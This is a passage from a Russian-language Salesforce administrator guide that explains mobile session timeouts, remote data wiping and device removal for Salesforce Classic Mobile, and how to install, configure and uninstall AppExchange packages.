Изсоображенийбезопасноститекущийсеансзавершаетсяавтоматическипосле 10 минут
простоя приложения Salesforce Classic Mobile. Данный параметр может быть настроен
илиотключенадминистратораминаотдельныхустройствах. Например, данныйпараметр
можетбытьотключенвприложении Salesforce Classic Mobile, еслиоперационная система
мобильного устройства поддерживает собственный механизм блокировки.

Чтобыизменить значениевременизавершениясеанса Salesforce Classic Mobile, выполните
указанные ниже действия.

1. Откройте одну из указанных ниже страниц.

• Чтобы работать с несколькими устройствами одновременно, введите строку
«Пользователи и устройства» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Пользователи и устройства». Выберите нужные устройства в
списковомпредставлениинастранице «Всепользователииустройствамобильной
версии».

• Чтобыработать с конкретнымустройством, введите строку «Пользователи» вполе
«Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».
Чтобы открыть страницу «Мобильное устройство», щелкните имя нужного
пользователя и выберите адрес устройства в связанном списке «Назначенные
мобильные устройства».

2. Щелкните «Задать лимит времени мобильного сеанса».

3. Выберите новое значение (в минутах). При необходимости выберите значение
«Бессрочно».

4. Нажмите кнопку «Сохранить».

Система Salesforce отправит сообщение, содержащее новое значение времени
завершения сеанса, на выбранные мобильные устройства.

5. Чтобы просмотреть общие результаты для каждого выбранного мобильного
устройства, воспользуйтесь страницей подтверждения.

Результаты настройки времени завершения мобильного сеанса

ПослеотправкисообщенияSalesforce, содержащегоновое значениевременизавершениясеанса, навыбранныемобильные
устройства, страница результатов содержит сведения о статусе каждого сообщения. В таблице ниже представлены три
возможных результата.

ОписаниеРезультат

Сообщение отправлено сервером Salesforce Classic Mobile
на устройство пользователя. Система Salesforce не
поддерживает отчеты о доставке сообщений.

Сообщение добавлено в очередь

Сообщение не было отправлено ввиду возникновения
временных проблем со связьюмежду системой Salesforce и
сервером Salesforce Classic Mobile. Повторитепопыткупозже.

На удается отправить сообщение
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ОписаниеРезультат

Сообщение не было отправлено, так как выбранный
пользователь мобильного приложения не регистрировал
устройство.

Пользователь не имеет мобильного устройства

Удаление данных в приложении Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления данных
Salesforce с устройства,
использующего
приложение Salesforce
Classic Mobile:
• «Управление

мобильными
конфигурациями»

Мобильное устройство пользователя, поддерживающее приложение Salesforce Classic
Mobile, содержит мобильное приложение и набор данных Salesforce. Администраторы
могут удалятьданныес устройствпользователейбез удалениямобильногоприложения.
Рекомендуемиспользоватьданноеэффективноесредствозащитыприпотереустройства.
Крометого, данныедолжныбытьудаленыдопередачиустройствадругомупользователю.

Чтобы удалить данные Salesforce как минимум с одного мобильного устройства,
выполните указанные ниже действия.

1. Откройте одну из указанных ниже страниц.

• Чтобы работать с несколькими устройствами одновременно, введите строку
«Пользователи и устройства» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Пользователи и устройства». Выберите нужные устройства в
списковомпредставлениинастранице «Всепользователииустройствамобильной
версии».

• Чтобыработать с конкретнымустройством, введите строку «Пользователи» вполе
«Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».
Чтобы открыть страницу «Мобильное устройство», щелкните имя нужного
пользователя и выберите адрес устройства в связанном списке «Назначенные
мобильные устройства».

2. Щелкните «Удалить данные» и нажмите кнопку «OK».

Система Salesforceпытаетсяотправитьсообщениеонеобходимостиудаленияданных
на мобильные устройства.

Результаты удаления данных

После отправки сообщения Salesforce на мобильные устройства страница результатов
содержит сведения о статусе каждого сообщения. В таблице ниже представлены три
возможных результата.

ОписаниеРезультат

Сообщение отправлено сервером Salesforce Classic Mobile
на устройство пользователя. Система Salesforce не
поддерживает отчеты о доставке сообщений.

Сообщение добавлено в очередь

Сообщение не было отправлено ввиду возникновения
временных проблем со связьюмежду системой Salesforce и
сервером Salesforce Classic Mobile. Повторитепопыткупозже.

На удается отправить сообщение
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ОписаниеРезультат

Сообщение не было отправлено, так как выбранный
пользователь мобильного приложения не регистрировал
устройство.

Пользователь не имеет мобильного устройства

СМ. ТАКЖЕ:

Управление устройствами в Salesforce Classic Mobile

Удаление мобильных устройств

Удаление мобильных устройств

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра мобильных
устройств и пользователей:
• «Просмотр настройки и

конфигурации»

Для удаления мобильных
устройств:
• «Управление

мобильными
конфигурациями»

Мобильное устройство удаляется из записи пользователя в двух случаях.

• Параметрымобильногодоступа, заданныеворганизации, связываютпользователей
мобильного приложения с устройствами; а, устройство должно быть назначено
другомупользователю. Еслипараметрымобильногодоступаотключены, то система
Salesforce автоматически связывает устройство с пользователем, активировавшим
мобильноеустройствопоследним, поэтомуустройствоможетбытьназначенодругому
пользователю без его предварительного удаления.

• Устройстводолжнобытьперенесеноизбезопаснойорганизациивпроизводственную
организацию.

Чтобы удалить мобильное устройство, выполните указанные ниже действия.

1. Откройте одну из указанных ниже страниц.

• Чтобы работать с несколькими устройствами одновременно, введите строку
«Пользователи и устройства» в поле «Быстрый поиск» в меню «Настройка»,
затем выберите «Пользователи и устройства». Выберите нужные устройства в
списковомпредставлениинастранице «Всепользователииустройствамобильной
версии».

• Чтобыработать с конкретнымустройством, введите строку «Пользователи» вполе
«Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».
Чтобы открыть страницу «Мобильное устройство», щелкните имя нужного
пользователя и выберите адрес устройства в связанном списке «Назначенные
мобильные устройства».

2. Выберитекакминимумодноустройствона странице «Всепользователииустройства
мобильной версии» и нажмите кнопку «Удалить устройство». Нажмите кнопку
«Удалить» на странице «Мобильное устройство».

3. Нажмите кнопку «OK».

Система Salesforce предпринимает попытки удаления выбранных устройств.

4. Чтобы просмотреть общие результаты для каждого выбранного мобильного
устройства, воспользуйтесь страницей подтверждения.
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Результаты удаления устройства

После отправки сообщения Salesforce на мобильный сервер страница результатов содержит сведения о статусе каждого
устройства. В таблице ниже представлены три возможных результата.

ОписаниеРезультат

Запись устройства удалена из организации Salesforce.Устройство удалено.

Устройство не было удалено ввиду возникновения
временных проблем со связьюмежду системой Salesforce и
мобильным сервером. Повторите попытку позже.

В настоящее время устройство не может быть удалено.
Повторите попытку позже.

Сообщение не было отправлено, так как выбранный
пользователь мобильного приложения не регистрировал
устройство.

Пользователь не имеет мобильного устройства.

СМ. ТАКЖЕ:

Удаление данных в приложении Salesforce Classic Mobile

Ограничения для приложения Salesforce Classic Mobile

Ограничения для мобильных устройств

Смартфоны BlackBerry • Операционная система BlackBerry 4.0–4.3 позволяет
загружатьи устанавливатьприложение Salesforce Mobile
на мобильные устройства, однако мобильный сервер
определяет использование устаревшей операционной
системы и отправляет пользователям последнюю
совместимую версию — Salesforce Classic Mobile 11.6.
Данная версия не поддерживает новые функции
текущего и будущих выпусков.

• Сенсорные и прочие устройства BlackBerry используют
одинаковоеприложениеSalesforce Classic Mobile, поэтому
некоторые аспекты Salesforce Classic Mobile не
предназначены для сенсорного интерфейса.

Устройства Apple iPhone и iPod Touch • Third parties (including, but not limited to, Apple Inc. and your
network connectivity provider) may at any time restrict,
interrupt or prevent use of Salesforce Classic Mobile for the
iPhone and iPod touch devices, or delete the Salesforce Classic
Mobile app from iPhone or iPod touch devices, or require
Salesforce to do any of the foregoing, without entitling the
customer to any refund, credit or other compensation from
such third-party or Salesforce.

• Соглашения об уровне обслуживания не
распространяются на приложение Salesforce Classic
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Mobile для iPhone. Дополнительные ограничения
перечислены в приложении к бланку заказа, условия
которого должны быть приняты пользователем при
загрузке или установке приложения Salesforce Classic
Mobile для iPhone.

Ограничения для панелей мониторинга
Ниже перечислены ограничения, действующие для панелей мониторинга в приложении Salesforce Classic Mobile.

• Приложение не поддерживает создание или редактирование панелей мониторинга.

• Ссылки на сведения настраиваемых отчетов отключены.

• Мобильные панели мониторинга доступны только при использовании операционной системы BlackBerry 4.5 или
более поздней версии. Мобильные панели мониторинга поддерживают версии 4.2 и 4.3, но их таблицы могут
отображаться некорректно. Чтобы определить операционную систему, установленную на смартфоне BlackBerry,
выберите пункты «Настройки» > «Опрограмме» на начальном экране BlackBerry.

Chatter Mobile для BlackBerry

Настройка приложения Chatter Mobile для BlackBerry

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров мобильного
приложения:
• «Настройка

приложения»

Для просмотра параметров
мобильного приложения:
• «Просмотр настройки и

конфигурации»

Важное замечание: Ввыпуске Summer'14 компания Salesforce прекращаетподдержку
приложения Chatter Mobile для BlackBerry. Приложение может использоваться без
ограничений, но не будет поддерживаться компанией Salesforce на предмет
исправления ошибок или устранения возможных неполадок. Чтобы установить
приложение Salesforce1 (новое мобильное приложение от компании Salesforce),
обратитесь к администратору Salesforce.

ПриложениеChatter Mobileдля BlackBerry аналогичносвязанномуприложению. Связанное
приложение — это приложение, интегрируемое в систему Salesforce посредством
интерфейсов API. Связанные приложения позволяют администраторам определять
различные политики безопасности и контролировать доступ пользователей к
приложениям. Администраторы могут просматривать и управлять параметрами
приложения Chatter Mobile для BlackBerry аналогично просмотру и управлению
параметрами других связанных приложений.

Приложение Chatter Mobile для BlackBerry устанавливается автоматически как часть
управляемого пакета связанных приложений Salesforce при наступлении одного из
перечисленных ниже событий.

• Пользователь загружает мобильное приложение Chatter Mobile для BlackBerry и
проверяет подлинность организации путем выполнения входа в мобильное
приложение.

• Система обновляет сеанс текущего пользователя Chatter Mobile.
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Прим.: Периодичность автоматического обновления сеансов текущего пользователя (от 15 минут до 12 часов)
определяетсяпараметром «Значение времени ожидания», заданнымдляорганизации; какправило, пользователь
не замечает данного обновления.

Преждечемвыполнитьавтоматическуюустановкупакета, администраторымогутустановитьпакетсвязанныхприложений
Salesforce1 и приложений Chatter вручную для просмотра и управления параметрами.

Пакет связанных приложений содержит отдельное связанное приложение для типа мобильного устройства BlackBerry.

Важное замечание: Если администратор не устанавливает пакет вручную, то доступ к связанному приложению
Chatter Mobileдля BlackBerry предоставляется толькопосле активациимобильногоприложениядругимпользователем
организации или обновления сеанса текущего пользователя.

Администраторымогутиспользоватьпрофили, наборыполномочийиограничениядиапазона IP-адресовдля управления
доступом пользователей к приложению. Параметрами можно управлять на странице сведений связанного приложения
Chatter Mobile для BlackBerry, для этого откройте настройки и введите строку «Связанные приложения» в поле «Быстрый
поиск», затем выберите параметр для управления связанными приложениями.

При попытке несанкционированного доступа приложение отображает сообщение об ошибке.

СМ. ТАКЖЕ:

Общие сведения о связанных приложениях

Редактирование, пакетирование или удаление связанного приложения

Отслеживание использования для связанного приложения
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Мобильные панели мониторинга для iPad

Предоставление пользователям доступа для просмотра панелей мониторинга на
устройствах iPad

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметров
приложения «Мобильные
панели мониторинга для
iPad»:
• «Просмотр настройки и

конфигурации»

Для изменения параметров
приложения «Мобильные
панели мониторинга для
iPad»:
• «Настройка

приложения»

Приложение «Мобильные панели мониторинга для iPad» включается автоматически и
доступно пользователям организации без дополнительной настройки.

Важное замечание: Ввыпуске Summer'15 компания Salesforce прекращаетподдержку
приложения «Мобильные панели мониторинга для iPad». Приложение может
использоватьсябез ограничений, нонебудетподдерживаться компанией Salesforce
на предмет исправления ошибок или устранения возможных неполадок. Чтобы
установить приложение Salesforce1 (новое мобильное приложение от компании
Salesforce), обратитесь к администратору Salesforce.

Чтобы запретить пользователям доступ к данным Salesforce посредством мобильных
устройств, отключите данное приложение. При необходимости приложение может
быть включено повторно.

Чтобы настроить доступ к приложению «Мобильные панели мониторинга для iPad»,
выполните указанные ниже действия.

1. Введите строку «Мобильные панели мониторинга» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт <b>«Параметрымобильных панелей
мониторинга»</b>.

2. Установитеили снимитефлажок «Включить приложение Mobile Dashboards

iPad для всех пользователей».

3. Нажмите кнопку «Сохранить».

Приложение «Мобильные панели мониторинга для iPad» доступно пользователям для
загрузки и установки в интернет-магазине Apple App Store или AppExchange Mobile.

Приложение доступно в перечисленных выше версиях системы, а также в любых
организациях, где включена поддержка интерфейса REST API.

1222

Мобильные панели мониторинга для iPadНастройка и обслуживание организации Salesforce

http://itunes.apple.com/us/app/salesforce-mobile-dashboards/id457642972
http://appexchange.salesforce.com/listingDetail?listingId=a0N300000058QnJEAU


Просмотр сведений о зарегистрированном мобильном приложении
активной доставки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
зарегистрированном
мобильном приложении
активной доставки:
• «Просмотр настройки и

конфигурации»

Страница «Зарегистрированныемобильныеприложенияактивнойдоставки» позволяет
просматривать сведенияо зарегистрированномприложенииактивнойдоставкилюбого
пользователя для устранения общих неполадок.

Чтобы просмотреть сведения о зарегистрированном приложении активной доставки
пользователя, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите нужного пользователя.

3. Щелкните ссылку «Просмотр» напротив поля «Зарегистрированные мобильные
приложения активной доставки» на странице сведений о пользователе.

Установка пакетов и управление приложениями

Установленные пакеты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Можно установить пакеты в организацию в системе Salesforce, а затем настроить их и
управлять ими. Чтобы просмотреть установленные пакеты, откройте «Настройки»,
введите строку «Установленные» в поле быстрого поиска и выберите
пункт«Установленные пакеты».
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Установка пакета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки пакетов:
• «Загрузка пакетов

AppExchange»

Установите управляемый или неуправляемый пакет в организацию Salesforce, чтобы
добавитьновыефункцииворганизацию. Выберитенастраиваемуюустановкуиизмените
стандартные настройки пакета, в том числе ограничения доступа к пакету.

Этапы пред-установки
1. Введите URL-адрес установки, предоставленный разработчиком пакета, в адресную

строкуобозревателяилинажмитекнопку «Получитьсейчас!»настраницесведений
о приложении при установке пакета из каталога AppExchange.

Прим.: Еслипакет устанавливаетсявбезопаснуюсреду, заменитечасть ссылки
«www.salesforce.com» элементом «test.salesforce.com». Пакет удаляется из
безопасной организации при создании копии безопасной среды.

2. Введите имя пользователя и пароль для нужной организации Salesforce, а затем
нажмите кнопку «Вход».

3. Если пакет защищен паролем, введите пароль, полученный от издателя.

4. При установке неуправляемого пакета установите флажок «Переименовать
конфликтующие компоненты в пакете». При выборе данного параметра система
Salesforce изменяет имя конфликтующего компонента пакета.

Стандартная установка
Нажмитекнопку «Установить». Отображаемоесообщениепозволяетотслеживатьпроцесс выполнения. Позавершении
установки отображается сообщение-подтверждение.

Настраиваемая установка
Чтобы изменить стандартные параметры от имени администратора, выполните указанные ниже действия.

1. При необходимости выберите как минимум один параметр ниже.

• Щелкните«Просмотркомпонентов». Данноедействиеинициируетотображениеобластиналожения, содержащей
список компонентов пакета. При установке управляемого пакета область наложения также содержит список
связанныхприложений (надежныеприложения, которымпредоставляетсядоступкданнымпользователяв системе
Salesforceпослепроверкиприложенияисамогопользователя). Проверьтедопустимостьотображаемыхкомпонентов
и всех связанных приложений, а затем закройте область наложения.

Прим.: Некоторые элементы пакета (например, правила проверки, типы записей или настраиваемые
параметры) не отображаются в списке «Компоненты пакета», но добавляются в пакет и устанавливаются
нарядусдругимиэлементами. Приотсутствииэлементоввсписке «Компонентыпакета» пакетможетсодержать
только незначительные изменения.

• Еслипакетсодержитпараметрыудаленногоузла, подтвердитедоступквеб-сайтамвнесистемыSalesforce. Диалоговое
окносодержитсписок всех веб-сайтов, связанныхспакетом. Рекомендуемиспользоватьпротокол SSL дляпередачи
данных. Убедитесьвбезопасностивеб-сайтов, установитефлажок«Да, предоставитьдоступданнымсторонним
веб-узлам» и нажмите кнопку «Продолжить». Чтобы отменить установку пакета, нажмите кнопку «Отмена».

Внимание: Чтобы разрешить пакету передавать и принимать данные со сторонних веб-сайтов, настройте
параметрыудаленногоузла. Чтобыопределитьтиппередаваемыхданныхиспособихприменения, обратитесь
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киздателюпакетадоегоиспользования. Проверкаприложенияиопределениепоследствийегоиспользования
могут быть также выполнены внутренним контактным лицом по вопросам безопасности.

• Щелкните «API-доступ». Данное действие инициирует отображение области наложения, содержащей список
параметровAPI-доступа, предоставленныхкомпонентампакета. Проверьтедопустимостьотображаемыхпараметров,
а затем закройте область наложения.

• При использовании версии Enterprise Edition, Performance Edition, Unlimited Edition или Developer Edition выберите
один из параметров безопасности ниже.

Прим.: В зависимости от типа установки, данный параметр может быть недоступен. Например, при
использовании версии Group Edition или Professional Edition или отсутствии настраиваемого объекта в пакете
система Salesforce пропускает данный параметр, предоставляя всем пользователям полный доступ.

Установить только для администраторов
Данный параметр определяет параметры профиля администратора-установщика или любого профиля с
полномочием «Настройка приложения».

– Полномочия объекта: полномочия «Чтение», «Создание», «Редактирование», «Удаление», «Просмотреть
все» и «Изменить все» включены.

– Безопасность поля: все поля отображаются и доступны для редактирования.

– Классы Apex: включены.

– Страницы Visualforce: включены.

– Параметры приложения: включены.

– Параметры вкладки: определяются автором пакета.

– Параметры макета страницы: определяются автором пакета.

– Параметры типа записи: определяются автором пакета.

При использовании версии Enterprise Edition, Performance Edition, Unlimited Edition или Developer Edition
соответствующиеполномочияпользователяиобъекта длянастраиваемыхпрофилеймогутбыть заданыпосле
установки.

Установить для всех пользователей
Данный параметр определяет параметры всех внутренних настраиваемых профилей.

– Полномочия объекта: полномочия «Чтение», «Создание», «Редактирование», «Удаление», «Просмотреть
все» и «Изменить все» включены.

– Безопасность поля: все поля отображаются и доступны для редактирования.

– Классы Apex: включены.

– Страницы Visualforce: включены.

– Параметры приложения: включены.

– Параметры вкладки: определяются автором пакета.

– Параметры макета страницы: определяются автором пакета.

– Параметры типа записи: определяются автором пакета.

Прим.: Доступ не предоставляется профилям «Пользователь клиентского портала», «Менеджер
клиентскогопортала», «Массовыйклиентскийпортал», «Проверенныйвеб-узел»и «Пользователь-партнер»,
а также стандартным профилям.
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Установить для определенных профилей...
Данный параметр позволяет выбирать уровень доступа для всех настраиваемых профилей организации.
Каждому профилю может быть предоставлен полный доступ или запрещен доступ к новому пакету и всем
его компонентам.

– «Полный доступ»: определяет перечисленные ниже параметры для каждого профиля.

• Полномочияобъекта: полномочия «Чтение», «Создание», «Редактирование», «Удаление», «Просмотреть
все» и «Изменить все» включены.

• Безопасность поля: все поля отображаются и доступны для редактирования.

• Классы Apex: включены.

• Страницы Visualforce: включены.

• Параметры приложения: включены.

• Параметры вкладки: определяются автором пакета.

• Параметры макета страницы: определяются автором пакета.

• Параметры типа записи: определяются автором пакета.

– «Нет доступа»: определяет те же параметры, что «Полный доступ», кроме одного: все полномочия объекта
отключены.

Дополнительные параметры могут отображаться при условии добавления издателем параметров для
настраиваемыхпрофилей. Параметрынастраиваемыхпрофилейиздателямогутбытьдобавленывсобственные
профилибезизмененияпараметров. Выберитеимяпараметровпрофилявраскрывающемсяспискенапротив
нужного профиля. Текущие параметры данного профиля не меняются.

Чтобыприменитьданныйпараметрко всемпрофилям, щелкните «Настроитьвсе»напротивнужногоуровня
доступа.

2. Нажмите кнопку «Установить». Отображаемое сообщение позволяет отслеживать процесс выполнения. По
завершении установки отображается сообщение-подтверждение.

• Во время установки система Salesforce проверяет зависимости. Если организация установщика не соответствует
всем требованиям зависимостей, перечисленных на странице «Показать зависимости», то установка отменяется.
Например, чтобыустановитьпакет, ссылающийсянаподразделения, организацияустановщикадолжнаиспользовать
подразделения.

• Приустановкекомпонента, содержащегоApex, выполняютсявсепоблочныетестыорганизации, включаяпоблочные
тесты, добавленныевновыйпакет. Поблочныйтест, основанныйна компоненте, которыйизначальноустановлен
как неактивный (например, бизнес-правило), может быть отменен. Установка пакета может быть продолжена
несмотря на ошибку поблочного теста.

• Дополнительную информацию о возможных причинах сбоя см. в разделе «Почему не удается установить или
обновить пакет?» на странице 1245.

Этапы пост-установки
Инструкции по пост-установке, добавленные в пакет, отображаются после завершения установки. Просмотрите и
выполните указанные инструкции. Прежде чем развернуть пакет для пользователей, выполните любые необходимые
изменения. В зависимости от содержимого пакета, выполните некоторые действия по настройке ниже.

• Назначьте наборы полномочий, доступные в пакете, соответствующим пользователям. Наборы полномочий,
добавленные в управляемые пакеты, не могут быть изменены, но поддерживают дальнейшие автоматические

1226

Установленные пакетыНастройка и обслуживание организации Salesforce



обновления. Набор полномочий, созданный пользователем или клонированный из готового набора полномочий,
добавленного в управляемый пакет, может быть изменен, но не поддерживает дальнейшие обновления.

• Дополнительную информацию о повторном импорте данных переустанавливаемого пакета посредством файла
экспорта, созданного при удалении пакета, см. в разделе «Импорт данных пакета» на странице 1237.

• Чтобыназначитьлицензиипользователямпослеустановкиуправляемогопакета, щелкните«Управлениелицензиями».

Прим.: В Lightning Experienceназначатьлицензиинельзя. Еслинеобходимоназначитьлицензию, воспользуйтесь
Salesforce Classic.

• При необходимости настройте компоненты пакета. Дополнительную информацию см. в разделе «Настройка
установленных пакетов» на странице 1227.

СМ. ТАКЖЕ:

Обновление пакетов

Установленные пакеты

Настройка установленных пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для установки пакетов:
• «Загрузка пакетов

AppExchange»

Для настройки
установленных пакетов:
• «Настройка

приложения»

Многие компоненты используют атрибут «Развернуто», который определяет их
доступность конечным пользователям. Все компоненты, доступные в организации
разработчика, становятся доступнымисразу после установки. Преждечемпредоставить
пользователям доступ к пакету, выполните любые необходимые изменения. В
зависимости от содержимого пакета, перечисленные ниже элементы могут требовать
настройки.

Параметр «Настроить»
Если издатель добавил ссылку на внешний веб-сайт, содержащий сведения о
конфигурации, то страница «Загрузки AppExchange» отображает параметр
«Настроить» напротив пакета («Установленные пакеты» в меню «Настройка»).
Чтобы просмотреть предложенные конфигурации издателя, щелкните ссылку
«Настроить».

Настраиваемые поля и настраиваемые ссылки
Добавьте любые необходимые настраиваемые поля или ссылки в новые
настраиваемые объекты.

Настраиваемый объект
Включите функцию отслеживания для объектов, отсутствующих в данном пакете,
носодержащихполя, которыеотслеживаютсявChatter. Например, чтобыотслеживать
настраиваемое поле стандартного объекта «Организация», рекомендуем убедиться,
что данный объект поддерживает функцию отслеживания.

Типы настраиваемых отчетов
Если поле типа настраиваемого отчета «Имя типа отчета» соответствует имени
типаотчета, используемомуворганизации, рекомендуемизменитьзначениеполя «Имя типа отчета» послеустановки
пакета во избежание конфликтов между двумя типами отчетов.

Текущий пользователь панели мониторинга
Поле любой панели мониторинга «Текущий пользователь» содержит имя пользователя, устанавливающего пакет.
При необходимости измените свойства панели мониторинга и заполните поле «Текущий пользователь» именем
пользователя, параметры безопасности которого должны применяться к панели мониторинга.
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Папки
Если приложения содержат документы, шаблоны эл. почты, отчеты или панели мониторинга, то система Salesforce
создает папки в организации установщика, используя имена папок, заданные издателем. Убедитесь в уникальности
данных имен папок.

Новые папки доступны всем пользователям. Чтобы ограничить доступность папок, настройте их параметры до
развертывания.

Макеты начальной страницы
Настраиваемыемакетыначальнойстраницы, добавленныевпакет, неназначаютсяпользователям. Чтобыпредоставить
пользователям доступ к макетам, назначьте макеты соответствующим профилям.

Списковые представления
Списковые представления, добавленные в приложения, доступны всем пользователям. При необходимости их
доступность может быть изменена.

Макеты страниц
Всем пользователям назначается стандартный макет страницы для любых настраиваемых объектов, добавленных в
пакет. Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют администраторам
настраивать макет страницы для соответствующих пользователей.

Еслинастраиваемыйобъектпакета содержитлюбые взаимосвязи со стандартнымиобъектами, добавьтеих в качестве
связанных списков в соответствующие макеты страниц.

Если пакет содержит любые настраиваемые ссылки, добавьте их в соответствующие макеты страниц.

Если организация использует функцию расширенного управления валютами, то поля сводного резюмирования
валюты становятся недействительными, если относятся к организациям и суммируют значения возможностей или
относятся к возможностям и суммируют значения настраиваемых объектов. Удалите данные поля из всех макетов
страниц.

Наборы полномочий
Назначьте наборы полномочий, добавленные в пакет, пользователям, которые должны иметь доступ к пакету.

Наборы полномочий, добавленные в управляемый пакет, не могут быть изменены. Набор полномочий, созданный
пользователем или клонированный из готового набора полномочий, добавленного в пакет, может быть изменен, но
не поддерживает дальнейшие обновления.

Средство перевода
Переведенныезначениякомпонентов установленногопакета также устанавливаютсядлялюбого языка, добавленного
разработчиком. Любые компоненты пакета, настроенные разработчиком (например, настраиваемое поле или тип
записи), отображаются на страницах настройки установщика на языке разработчика (язык, используемый при
определенииданныхкомпонентов). Переведенныезначенияавтоматическиотображаютсяпользователяморганизации
установщика, личныйязык которых добавлен впакет. Кроме того, установщикимогут активировать дополнительные
языки при условии использования средства перевода.

Предупреждения бизнес-правил
Если получателем предупреждения бизнес-правил является пользователь, то система Salesforce заменяет этого
пользователя пользователем, устанавливающим пакет. Получатели могут быть изменены в любых установленных
предупреждениях бизнес-правил.

Обновления полей бизнес-правил
Если обновление поля предназначено для замены поля ответственного за запись конкретным пользователем, то
система Salesforce заменяет этого пользователя пользователем, устанавливающим пакет. Значение поля может быть
изменено в любом установленном обновлении поля.

1228

Установленные пакетыНастройка и обслуживание организации Salesforce



Исходящие сообщения бизнес-правил
Система Salesforce заменяет пользователя в поле исходящего сообщения «Пользователь для отправки как»
пользователем, устанавливающим пакет. Данное значение может быть изменено после установки.

Бизнес-правила
Бизнес-правила устанавливаются без контролируемых по времени триггеров, которые могли быть созданы
разработчиком. При необходимости настройте контролируемые по времени триггеры.

Задачи бизнес-правил
Система Salesforce заменяет пользователя в поле «Назначено» пользователем, устанавливающим пакет. Данное
значение может быть изменено после установки.

При необходимости выполните любые другие настройки.

Прим.: Компоненты, добавленные в установленное настраиваемое приложение, удаляются при удалении
настраиваемого приложения.

СМ. ТАКЖЕ:

Установленные пакеты

Вопросышифрования платформы

Удаление пакета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления пакетов:
• «Загрузка пакетов

AppExchange»

Система позволяет удалять любой установленный пакет, включая все его компоненты
и все содержимое. Любые настраиваемые поля, ссылки и прочие компоненты,
добавленные в настраиваемое приложение после установки, также удаляются.

Чтобы удалить пакет, выполните указанные ниже действия.

1. Введите строку «Установленные» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Установленные пакеты».

2. Щелкните ссылку «Удалить» напротив нужного пакета.

3. Установите флажок «Да, удалить...» и нажмите кнопку «Удалить».

4. После удаления пакета система Salesforce автоматически создает файл экспорта,
содержащий данные пакета, а также любые связанные примечания и вложения.
Пользователь, выполнивший удаление, получает сообщение эл. почты Salesforce,
содержащее ссылку на файл экспорта, созданный в результате удаления. Файл
экспорта и связанные примечания и вложения отображаются под списком
установленныхпакетов. Рекомендуемхранитьфайл в другойобласти, так как доступ
к файлу блокируется по истечении некоторого времени после установки.

Совет: Дополнительную информацию о повторной установке пакета и
повторном импорте данных пакета см. в разделе «Импорт данных пакета» на
странице 1237.

Примечания к удалению пакетов
• Удалениепакета, содержащегонастраиваемыйобъект, инициируетудалениевсехкомпонентовданногонастраиваемого

объекта. Книмотносятся: настраиваемыеполя, правилапроверки, элементы S-Control, настраиваемыекнопкииссылки,
бизнес-правила и процессы утверждения.
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• Есликомпонентпакетаиспользуетсякомпонентом, которыйнебудет удален, топакетнеможетбытьудален. Например:

– Еслиустановленныйпакетсодержитлюбойкомпонентстандартногообъекта, используемыйдругимкомпонентом,
то система Salesforce препятствует удалению пакета. Другими словами, пользователь может установить пакет,
содержащий настраиваемое поле, и создать бизнес-правило, выполняемое при наличии конкретного значения в
данном поле. Удаление пакета препятствует выполнению бизнес-правила.

– Еслидва установленныхнесвязанныхпакета содержатнастраиваемыйобъект, а компонентодногонастраиваемого
объекта ссылается на компонент другого объекта, то система Salesforce препятствует удалению пакета. Другими
словами, пользователь может установить приложение для составления отчетов по расходам, содержащее
настраиваемое поле, и создать правило проверки для другого установленного настраиваемого объекта,
ссылающегося на данное настраиваемое поле. Удаление приложения для составления отчетов по расходам
препятствует выполнению правила проверки.

– Еслиустановленнаяпапка содержиткомпоненты, добавленныепосле установки, то система Salesforceпрепятствует
удалению пакета.

– Если установленныйфирменный бланк используется шаблоном эл. почты, добавленным после установки, то
система Salesforce препятствует удалению пакета.

